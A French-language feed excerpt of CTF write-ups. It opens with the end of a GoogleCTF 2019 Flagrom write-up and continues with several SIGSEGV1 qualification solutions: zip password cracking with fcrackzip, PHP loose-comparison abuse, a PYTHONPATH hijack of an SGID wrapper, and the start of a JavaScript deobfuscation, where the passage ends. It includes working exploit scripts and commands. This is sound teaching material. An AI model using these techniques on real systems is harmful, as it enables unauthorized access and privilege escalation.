<p><span class="w-code"><span class="sc5">from</span> <span class="sc11">pwn</span> <span class="sc5">import</span> <span class="sc10">*</span><span class="sc0"><br />
</span><span class="sc11">io</span> <span class="sc10">=</span> <span class="sc11">remote</span><span class="sc10">(</span><span class="sc4">&lsquo;flagrom.ctfcompetition.com&rsquo;</span><span class="sc10">,</span> <span class="sc2">1337</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc11">ask</span> <span class="sc10">=</span> <span class="sc11">io</span><span class="sc10">.</span><span class="sc11">recvuntil</span><span class="sc10">(</span><span class="sc4">&lsquo;\n&rsquo;</span><span class="sc10">).</span><span class="sc11">split</span><span class="sc10">()</span><span class="sc0"><br />
</span><span class="sc11">start</span><span class="sc10">,</span> <span class="sc11">md5</span> <span class="sc10">=</span> <span class="sc11">ask</span><span class="sc10">[</span><span class="sc2">11</span><span class="sc10">],</span> <span class="sc11">ask</span><span class="sc10">[</span><span class="sc2">16</span><span class="sc10">][:-</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3">« Proof of work with: »</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3"> » start = %s »</span> <span class="sc10">%</span> <span class="sc11">start</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3"> » md5 = %s »</span> <span class="sc10">%</span> <span class="sc11">md5</span><span class="sc0"><br />
</span><span class="sc5">while</span> <span class="sc5">True</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">r</span> <span class="sc10">=</span> <span class="sc11">random</span><span class="sc10">.</span><span class="sc11">random</span><span class="sc10">()</span><span class="sc0"><br />
</span><span class="sc11">s</span> <span class="sc10">=</span> <span class="sc11">start</span> <span class="sc10">+</span> <span class="sc11">str</span><span class="sc10">(</span><span class="sc11">r</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">hashlib</span><span class="sc10">.</span><span class="sc11">md5</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">).</span><span class="sc11">hexdigest</span><span class="sc10">().</span><span class="sc11">startswith</span><span class="sc10">(</span><span class="sc11">md5</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3">« Found %s »</span> <span class="sc10">%</span> <span class="sc11">s</span><span class="sc0"><br />
</span><span class="sc5">break</span><span class="sc0"><br />
</span></span></p>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Retrieving the flag</h4>
</div>
<div style="text-align: justify;">A complete exploit can be downloaded <a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/solve/exploit.py">here</a>. It handles the compilation of the user code, performs the proof of work and run the user code.</div>
<p><span class="w-code">$ <span class="w-cli">python exploit.py remote hack.c</span><br />
[+] Starting local process &lsquo;./flagrom&rsquo;: pid 7333<br />
Sending payload<br />
Received data<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[+] Receiving all data: Done (467B)<br />
[*] Process &lsquo;./flagrom&rsquo; stopped with exit code 0 (pid 7333)<br />
Executing firmware&#8230;<br />
[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
start user program<br />
Hello there<br />
<span class="w-grepped">CTF{flagrom-and-on-and-on}</span><br />
Clean exit.</span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/">GoogleCTF 2019 Quals – Flagrom Challenge Writeup</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[CTF] Writeup du round de qualification SIGSEGV1</title>
		<link>https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/</link>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Thu, 18 Oct 2018 12:58:26 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[compte rendu]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[rtfm]]></category>
		<category><![CDATA[writeup]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15580</guid>

					<description><![CDATA[<p>&#160; Issus de la génération ayant connu le minitel, le bas-débit et les écrans cathodiques, l&#8217;équipe formant l&#8217;association RTFM a grandi avec une passion pour la technologie et les sujets qui s&#8217;y rattachent. L&#8217;objectif de l&#8217;association est de créer un...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/">[CTF] Writeup du round de qualification SIGSEGV1</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-vb3Cd-d2WLQ/W8X464x5wTI/AAAAAAAAAi0/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs/s1600/_header.png"><img loading="lazy" decoding="async" src="https://2.bp.blogspot.com/-vb3Cd-d2WLQ/W8X464x5wTI/AAAAAAAAAi0/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs/s640/_header.png" width="640" height="300" border="0" data-original-height="300" data-original-width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">Issus de la génération ayant connu le minitel, le bas-débit et les écrans cathodiques, l&rsquo;équipe formant <b>l&rsquo;association RTFM</b> a grandi avec une passion pour la technologie et les sujets qui s&rsquo;y rattachent.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;objectif de l&rsquo;association est de créer un événement français sur le thème de la sécurité informatique, qui se déroulera le <b>1er décembre 2018 à l&rsquo;école 42</b>.<br />
Celui-ci, nommé « <b>SIGSEGv1</b> » se baserait sur trois axes :</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<ul>
<li>Niveau technique avancé</li>
<li>Accessibilité géographique</li>
<li>Événement à taille humaine</li>
</ul>
<div style="text-align: justify;">Cet événement mettra en avant différents sujets tels que le Reverse Engineering, des démonstrations d&rsquo;attaques physiques ainsi que du hacking hardware et bas-niveau.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;accès à l&rsquo;événement a été rendu possible sur validation de <i>challenges </i>de qualification, qui étaient <a href="https://qual.rtfm.re/" target="_blank" rel="noopener">disponibles</a> sur la période du 28 septembre au 12 octobre 2018. Plusieurs collaborateurs de Wavestone ont individuellement pris part à ces qualifications, dont nous présentons ci-dessous les <i>writeups</i>.</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<h2 style="clear: both; text-align: left;">Web-serveur : la simplicité (par ShrewkRoot)</h2>
<div>
<div style="text-align: justify;"><b>Description : </b>Bienvenue sur le site le plus simple du monde avec des failles basiques ! Aucun bruteforce n&rsquo;est necessaire. Merci de ne pas utiliser Dirbuster et outils équivalents sous peine d&rsquo;etre bannis sur le challenge.</div>
</div>
<div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le site se présente sous la forme d&rsquo;une page blanche contenant une vidéo du rappeur Orelsan :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-QY_EgD3XFKg/W8YB3RodG7I/AAAAAAAAAjI/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs/s1600/1_1.png"><img loading="lazy" decoding="async" src="https://4.bp.blogspot.com/-QY_EgD3XFKg/W8YB3RodG7I/AAAAAAAAAjI/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs/s640/1_1.png" width="640" height="316" border="0" data-original-height="409" data-original-width="826" /></a></div>
<p>&nbsp;</p>
<style type="text/css">
.sc0 { font-family: monospace !important; }<br />.sc1 { color: rgb(102, 116, 123); font-family: monospace !important; }<br />.sc3 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc4 { color: rgb(255, 132, 9); font-family: monospace !important; }<br />.sc6 { color: rgb(225, 226, 207); font-family: monospace !important; }<br />.sc8 { font-family: monospace !important; }<br />.sc9 { font-weight: bold; color: rgb(103, 140, 177); font-family: monospace !important; }<br />.sc18 { font-weight: bold; color: rgb(217, 85, 193); font-family: monospace !important; }<br />.sc119 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc121 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc122 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc123 { color: rgb(103, 140, 177); font-family: monospace !important; }<br />.sc127 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc118 { font-family: monospace !important; }<br />span.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }<br />.w-user { color: cornflowerblue; font-family: monospace !important; }<br />.w-root { color: lightcoral; font-family: monospace !important; }<br />.w-server { color: chartreuse; font-family: monospace !important; }<br />.w-cli { color: lightskyblue; font-family: monospace !important; }<br />.w-grepped { color: red; font-family: monospace !important; }<br />.w-all { font-family: monospace !important; }<br />.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }<br />.sc5 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc10 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc11 { font-family: monospace !important; }<br />.sc41 { font-family: monospace !important; }<br />.sc43 { color: rgb(129, 142, 150); font-family: monospace !important; }<br />.sc46 { font-family: monospace !important; }<br />.sc48 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc50 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc40 { font-family: monospace !important; }<br />.sc45 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc47 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc49 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc2 { color: rgb(255, 205, 34); font-family: monospace !important; }<br /></style>
<div style="text-align: justify;">Le premier réflexe à adopter dans ce cas est de s&rsquo;orienter sur la cartographie de l&rsquo;application : scan de ports, scans des dossiers, etc. Le challenge interdisant explicitement le bruteforce en ligne, ces solutions ne sont pas appliquées ici.</div>
<div style="text-align: justify;">En revanche, deux fichiers sont souvent présents sur les applications web et permettent de découvrir tout ou partie de l&rsquo;arborescence d&rsquo;un site :</div>
<ul>
<li><b>/sitemap.xml :</b> fichier XML contenant l&rsquo;arborescence des différentes sections</li>
<li><b>/robots.txt :</b> fichier txt visant à interdire le <i>crawling</i> de certaines sections aux robots</li>
</ul>
<div>
<div style="text-align: justify;">En naviguant sur le second, l&rsquo;application indique que le fichier <b>backup.zip</b> existe :</div>
</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-aTPPckzLLRU/W8YB3NT0w9I/AAAAAAAAAjQ/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL/s1600/1_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-aTPPckzLLRU/W8YB3NT0w9I/AAAAAAAAAjQ/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL/s1600/1_2.png" border="0" data-original-height="133" data-original-width="510" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">Le fichier <b>backup.zip</b> est bien accessible, et une fois téléchargé, demande un mot de passe pour l&rsquo;extraction :</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">unzip backup.zip</span><br />
Archive: backup.zip<br />
[backup.zip] index.php password: </span></p>
<div>
<div style="text-align: justify;">Il est facile de procéder au bruteforce de ce mot de passe à l&rsquo;aide de la liste <b>rockyou.txt</b> (présente par défaut sur Kali Linux) et de l&rsquo;outil <a href="https://github.com/hyc/fcrackzip" target="_blank" rel="noopener">fcrackzip</a> :</div>
</div>
<div></div>
<p><span class="w-code"><span class="w-user">iansus</span> @ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">fcrackzip -D -p rockyou.txt -u backup.zip</span></span><br />
PASSWORD FOUND!!!!: pw == <span class="w-grepped">passw0rd</span></p>
</div>
<div>
<div style="text-align: justify;">Le mot de passe est donc <i>passw0rd</i> et permet de récupérer la source du fichier PHP, ci-dessous :</div>
</div>
<div></div>
<div><span class="w-code"><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">include</span> <span class="sc119">« auth.php »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;html&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;head&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;title&gt;</span><span class="sc0">Un site simple</span><span class="sc1">&lt;/title&gt;&lt;/title&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/head&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;body&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;center&gt;&lt;iframe</span> <span class="sc3">width</span><span class="sc8">=</span><span class="sc6">« 560 »</span> <span class="sc3">height</span><span class="sc8">=</span><span class="sc6">« 315 »</span> <span class="sc3">src</span><span class="sc8">=</span><span class="sc6">« https://www.youtube[.]com/embed/2bjk26RwjyU?rel=0&amp;amp;controls=0&amp;amp;showinfo=0 »</span> <span class="sc3">frameborder</span><span class="sc8">=</span><span class="sc6">« 0 »</span> <span class="sc4">allow</span><span class="sc8">=</span><span class="sc6">« autoplay; encrypted-media »</span> <span class="sc4">allowfullscreen</span><span class="sc1">&gt;&lt;/iframe&gt;&lt;/center&gt;</span><span class="sc0"><br />
</span><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc121">isset</span><span class="sc127">(</span><span class="sc123">$_POST</span><span class="sc127">[</span><span class="sc119">« h1 »</span><span class="sc127">]))</span><span class="sc118"><br />
</span><span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc123">$h1</span> <span class="sc127">=</span> <span class="sc121">md5</span><span class="sc127">(</span><span class="sc123">$_POST</span><span class="sc127">[</span><span class="sc119">« h1 »</span><span class="sc127">]</span> <span class="sc127">.</span> <span class="sc119">« Shrewk »</span><span class="sc127">);</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc119">« h1 vaut: « </span><span class="sc127">.</span><span class="sc123">$h1</span><span class="sc127">.</span><span class="sc119">« &lt;/br&gt; »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc123">$h1</span> <span class="sc127">==</span> <span class="sc119">« 0 »</span><span class="sc127">)</span><span class="sc118"><br />
</span><span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc119">« &lt;!&#8211;Bien joué le flag est « </span><span class="sc127">.</span><span class="sc123">$flag</span><span class="sc127">.</span><span class="sc119">« &#8211;&gt; »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span><span class="sc0"><br />
</span><span class="sc9">&lt;!&#8211; Si une méthode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;</span><span class="sc0"><br />
</span><span class="sc9">&lt;!&#8211; Un formulaire c&rsquo;était pas assez simple donc on en a pas mis &#8211;&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/body&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/html&gt;</span></span></p>
<div style="text-align: justify;">Le script récupère la valeur du paramètre GET <b>h1</b> et la concatène à la chaîne <b>Shrewk</b> avant d&rsquo;en calculer l&#8217;empreinte MD5. Cette empreinte est ensuite comparée à la chaîne <b>0</b> à l&rsquo;aide de l&rsquo;opérateur <b>==</b>.</div>
<div style="text-align: justify;">En temps normal, cette condition n&rsquo;est pas réalisable, puisque la sortie de la fonction <b>md5()</b> a pour longueur fixe 32. En revanche, puisque l&rsquo;opérateur de comparaison faible (en opposition à la comparaison forte avec l&rsquo;opérateur <b>===</b>) est utilisé, <a href="http://php.net/manual/fr/types.comparisons.php" target="_blank" rel="noopener">il est possible d&rsquo;en abuser</a>. Notamment, toute chaine de caractère débutant par <b>0e</b> et se terminant par une suite de chiffres est faiblement égale à la chaîne <b>0</b>.</div>
<div style="text-align: justify;">Les statistiques sont de notre côté, il n&rsquo;est pas si improbable d&rsquo;obtenir une telle chaîne en calculant l&#8217;empreinte d&rsquo;une chaîne aléatoire :</div>
<p><span class="w-code"><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">while</span><span class="sc127">(</span><span class="sc122">1</span><span class="sc127">)</span> <span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc123">$a</span> <span class="sc127">=</span> <span class="sc121">microtime</span><span class="sc127">(</span><span class="sc121">true</span><span class="sc127">);</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc121">md5</span><span class="sc127">(</span><span class="sc123">$a</span><span class="sc127">.</span><span class="sc119">« Shrewk »</span><span class="sc127">)==</span><span class="sc119">« 0 »</span><span class="sc127">)</span> <span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc123">$a</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc121">break</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span></span></p>
<div class="separator" style="clear: both; text-align: left;"></div>
<div style="text-align: justify;">La première chaîne de caractère validant la condition est trouvée en une vingtaine de minutes, et permet de valider le challenge :</div>
<p>&nbsp;</p>
</div>
<p><span class="w-code"><span class="w-user">iansus</span> @ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">curl -X POST http://iansus.net:4444 &#8211;data &lsquo;h1=1539722573.8918&rsquo; -s | grep sigsegv</span><br />
h1 vaut: 0e633901513385170308561908425699&lt;/br&gt;&lt;!&#8211;Bien joué le flag est <span class="w-grepped">sigsegv</span>{a1a29afa647a20758e64b49d8eb453f4}&#8211;&gt;&lt;!&#8211; Si une méthode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;</span></p>
<h2 style="clear: both;">App-script : Fun avec Python (par laxa)</h2>
<div>
<div style="text-align: justify;"><b>Description : </b>J&rsquo;ai commencé à développer des modules pour python, c&rsquo;est marrant. Je suis presque sûr que tout est sécurisé jusqu&rsquo;à présent.<br />
<span class="w-inline-code">ssh -p4443 chall@51.158.73.218 &#8211; mdp: e92b1b12c450afd60faa9f43cff5412e</span></div>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">La première étape est par conséquent de se connecter en SSH sur ce serveur pour découvrir l&rsquo;environnement:</div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/Qualifications-2018 % <span class="w-cli">ssh -p 4443 chall@iansus.net</span><br />
chall@iansus.net&rsquo;s password:<br />
Linux 4e5d88350bfc 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64<br />
The programs included with the Debian GNU/Linux system are free software;<br />
the exact distribution terms for each program are described in the<br />
individual files in /usr/share/doc/*/copyright.<br />
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br />
permitted by applicable law.<br />
aaaaaaaaaaaaaaaaaaaaaa<br />
<span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">ls -l</span><br />
total 16<br />
-r&#8211;r&#8212;&#8211; 1 root chall-pwned 21 Oct 16 17:13 flag<br />
-rwxr-xr-x 1 root root 307 Oct 16 17:13 hello-world.py<br />
-rwxr-<span class="w-grepped">s</span>r-x 1 root chall-pwned 6304 Oct 17 17:18 <span class="w-grepped">wrapper</span></span></p>
<div style="text-align: justify;">Dans cette configuration, le fichier <b>flag</b> ne peut être lu que par un membre du groupe <b>chall-pwned</b>. Un programme <b>wrapper</b> possède le bit SGID et s&rsquo;exécutera sous l&rsquo;identité du groupe <b>chall-pwned</b>. Enfin, le fichier Python suivant est fourni :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python2.7</span><span class="sc0"><br />
</span><span class="sc5">from</span> <span class="sc11">colors</span> <span class="sc5">import</span> <span class="sc11">colors</span><span class="sc0"><br />
</span><span class="sc5">def</span> <span class="sc9">main</span><span class="sc10">():</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;This is an advanced hello-world&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;The world is more joyful with colors&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;So, here we are:&rsquo;</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">print</span><span class="sc10">(</span><span class="sc4">&lsquo;{}Hello-World !{}&rsquo;</span><span class="sc10">.</span><span class="sc11">format</span><span class="sc10">(</span><span class="sc11">colors</span><span class="sc10">.</span><span class="sc11">bcolors</span><span class="sc10">.</span><span class="sc11">OKBLUE</span><span class="sc10">,</span> <span class="sc11">colors</span><span class="sc10">.</span><span class="sc11">bcolors</span><span class="sc10">.</span><span class="sc11">ENDC</span><span class="sc10">))</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">__name__</span> <span class="sc10">==</span> <span class="sc4">&lsquo;__main__&rsquo;</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">main</span><span class="sc10">()</span></span></p>
<div style="text-align: justify;">Après vérification, le package <b>colors</b> n&rsquo;existe pas sur PyPI, ce doit être un développement de l&rsquo;auteur. Pour aller observer le fichier source, il suffit d&rsquo;exécuter les commandes suivantes :</div>
<p><span class="w-code"><span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">python2.7</span><br />
Python 2.7.13 (default, Nov 24 2017, 17:33:09)<br />
[GCC 6.3.0 20170516] on linux2<br />
Type « help », « copyright », « credits » or « license » for more information.<br />
&gt;&gt;&gt; <span class="w-cli">import colors</span><br />
&gt;&gt;&gt; <span class="w-cli">colors.__file__</span><br />
&lsquo;<span class="w-grepped">/usr/local/lib/python2.7/dist-packages/colors/</span>__init__.py&rsquo;</span></p>
<div style="text-align: justify;">La source du module Python est située dans le fichier <span class="w-inline-code">/usr/local/lib/python2.7/dist-packages/colors/colors.py</span> :</div>
<p><span class="w-code"><span class="sc5">class</span> <span class="sc8">bcolors</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">HEADER</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[95m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">OKBLUE</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[94m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">OKGREEN</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[92m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">WARNING</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[93m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">FAIL</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[91m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">ENDC</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[0m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">BOLD</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[1m&rsquo;</span><span class="sc0"><br />
</span><span class="sc11">UNDERLINE</span> <span class="sc10">=</span> <span class="sc4">&lsquo;\033[4m&rsquo;</span></span></p>
<div style="text-align: justify;">Plutôt déroutant à première vue, puisqu&rsquo;aucun argument n&rsquo;est fourni au programme&#8230; La vulnérabilité vient peut-être alors du chargement du module. Pour cela, la <a href="https://docs.python.org/2.7/tutorial/modules.html#the-module-search-path" target="_blank" rel="noopener">documentation de Python</a> décrit très bien l&rsquo;ordre de chargement des modules.</div>
<div style="text-align: justify;">Par défaut, les modules sont chargés depuis les dossiers présents dans la variable <b>sys.path</b>, qui fonctionne de manière similaire à la variable d&rsquo;environnement <b>$PATH</b>. Cette variable est initialisée comme suit :</div>
<div style="text-align: justify;"></div>
<ul>
<li>Avec le nom du dossier contenant le script Python exécuter (les liens symboliques sont résolus)</li>
<li>Avec la variable d&rsquo;environnement <b>$PYTHONPATH</b></li>
<li>Avec le dossier d&rsquo;installation par défaut des scripts</li>
</ul>
<p>&nbsp;</p>
<div style="text-align: justify;">N&rsquo;ayant ni les droits d&rsquo;écriture dans le dossier courant ou dans le dossier par défaut, la seconde solution semble la plus adaptée. L&rsquo;utilisation d&rsquo;un binaire SUID ne supprime pas les variables d&rsquo;environnement (à l&rsquo;inverse du fonctionnement par défaut de sudo).</div>
<div style="text-align: justify;">Pour exploiter la vulnérabilité, le fichier <span class="w-inline-code">/tmp/colors.py</span> est créé :</div>
<p><span class="w-code"><span class="sc1">#!/usr/bin/python2.7</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc11">open</span><span class="sc10">(</span><span class="sc4">&lsquo;/home/chall/flag&rsquo;</span><span class="sc10">,</span> <span class="sc4">&lsquo;r&rsquo;</span><span class="sc10">).</span><span class="sc11">read</span><span class="sc10">()</span></span><br />
Il est alors possible de récupérer le flag comme suit :<br />
<span class="w-code"><span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">PYTHONPATH=/tmp ./wrapper</span><br />
<span class="w-grepped">sigsegv{un_flag_ici}</span><br />
Traceback (most recent call last):<br />
File « /home/chall/hello-world.py », line 3, in &lt;module&gt;<br />
from colors import colors<br />
ImportError: cannot import name colors<br />
</span></p>
<h2 style="clear: both;">Web-client : Javascript Obfusqué (par Synacktiv)</h2>
<div>
<div style="text-align: justify;">
<p><b>Description : </b>Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?Le challenge se présente sous la forme d&rsquo;un fichier HTML qui contient un formulaire pour vérifier le flag :</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-RzbvmwXsFGs/W8hHKOhqWfI/AAAAAAAAAj0/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs/s1600/3_1.png"><img decoding="async" src="https://2.bp.blogspot.com/-RzbvmwXsFGs/W8hHKOhqWfI/AAAAAAAAAj0/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs/s1600/3_1.png" border="0" data-original-height="41" data-original-width="499" /></a></div>
<p><span class="w-code"><span class="sc1">&lt;html&gt;&lt;SCRIPT</span> <span class="sc3">LANGUAGE</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc43">&lt;!&#8211;</span><span class="sc41"><br />
</span><span class="sc46">document.write</span><span class="sc50">(</span><span class="sc46">unescape</span><span class="sc50">(</span><span class="sc48">« %3C%53[..snip..]%54%3E »</span><span class="sc50">));</span><span class="sc43">//&#8211;&gt;</span><span class="sc1">&lt;/SCRIPT&gt;&lt;SCRIPT</span> <span class="sc3">LANGUAGE</span><span class="sc8">=</span><span class="sc6">« JavaScript »</span><span class="sc1">&gt;</span><span class="sc43">&lt;!&#8211;</span><span class="sc41"><br />
</span><span class="sc46">hp_d01</span><span class="sc50">(</span><span class="sc46">unescape</span><span class="sc50">(</span><span class="sc48">« %3E%23//JGCF[..snip..]%23//-JGCF//%3C »</span><span class="sc50">));</span><span class="sc43">//&#8211;&gt;</span><span class="sc1">&lt;/SCRIPT&gt;&lt;NOSCRIPT&gt;</span><span class="sc0">To display this page you need a browser with JavaScript support.</span><span class="sc1">&lt;/NOSCRIPT&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/html&gt;</span><span class="sc0"><br />
</span></span><br />
Il est en général possible de rencontrer deux types d&rsquo;obfuscation JavaScript :</p>
<ul>
<li>La première construit un code qui sera désobfusqué et exécuté grâce à la fonction <b>eval()</b></li>
<li>La seconde construit un code qui sera désobfusqué et exécuté en l&rsquo;ajoutant dynamiquement dans le code de la page, par exemple via <b>document.write()</b></li>
</ul>
<p>Ce challenge utilise la seconde méthode, et le code final peut donc être récupéré en utilisant l&rsquo;inspecteur HTML de Chrome / Firefox / Opera :</p>
